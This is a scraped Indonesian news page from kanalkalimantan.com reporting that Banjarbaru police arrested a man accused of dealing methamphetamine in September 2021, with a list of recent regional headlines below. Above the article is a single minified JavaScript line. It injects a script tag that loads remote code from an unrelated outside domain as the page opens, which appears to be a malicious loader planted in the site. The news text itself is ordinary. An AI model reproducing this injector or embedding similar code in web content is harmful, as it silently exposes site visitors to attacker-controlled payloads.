(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Edarkan Sabu, Abang Kodok Dicokok Polres Banjarbaru di Rumahnya


KANALKALIMANTAN.COM, BANJARBARU –Polres Banjarbaru berhasil mengungkap peredaran sabu dengan menangkap seorang pria bernama Arianto alias Abang Kodok (33), warga Sidomulyo, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin, Kota Banjarbaru, Sabtu (25/9/2021).

“Pelaku berhasil diamankan karena diduga melakukan tindak pidana penyebaran dan penyalahgunaan Narkotika jenis sabu,” kata Kapolres Banjarbaru, AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru, AKP Tajuddin Noor, Minggu (26/9/2021).

Penangkapan Arianto bermula dari laporan masyarakat bahwa di depan phone cell Tryas yang beralamat di Jalan Rahayu Komplek Meranti Griya Asri, Kelurahan Mentaos telah terjadi peredaran narkoba.

Dari laporan tersebut anggota Sat Resnarkoba Polres Banjarbaru menuju ke lokasi dan mengamankan saksi Muhammad Nurhuda Alias Darkop serta barang bukti berupa 1 lembar plastik klip sabu dengan berat kotor 0,21 gram dan berat bersih 0,05 gram.

 

 

Baca juga : Tim Eksibisi Esports PES Kalsel Bawa Pulang Perak PON XX Papua

Tak hanya itu, polisi juga mendapati 1 (satu) batang pipet terbuat dari kaca yang di dalamnya terdapat sisa narkotika jenis sabu-sabu, 1 lembar plastik klips, 1 lembar kertas amplop warna putih, 1 unit sepeda motor merek Yamaha Mio warna putih DA 6809 WQ tanpa surat, 1 buah handphone merek ASUS warna hitam yang diduga milik Arianto.

“Dari keterangan saksi Tim berhasil mengetahui identitas pengedar bernama Arianto,” terangnya.

Kemudian tim melakukan pengembangan berdasarkan keterangan saksi dan berhasil mengamankan pelaku di rumahnya yang beralamat di Komplek Mustika Griya Permai, Blok E, Desa Cindai Alus, Kecamatan Martapura, Kabupaten Banjar.

“Pelaku dijerat Pasal 114 ayat (1) sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika, karena peredaran gelap dan penyalahgunaan Narkotika golongan I jenis sabu-sabu,” tutupnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

6 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

7 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

8 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

13 jam ago

This website uses cookies.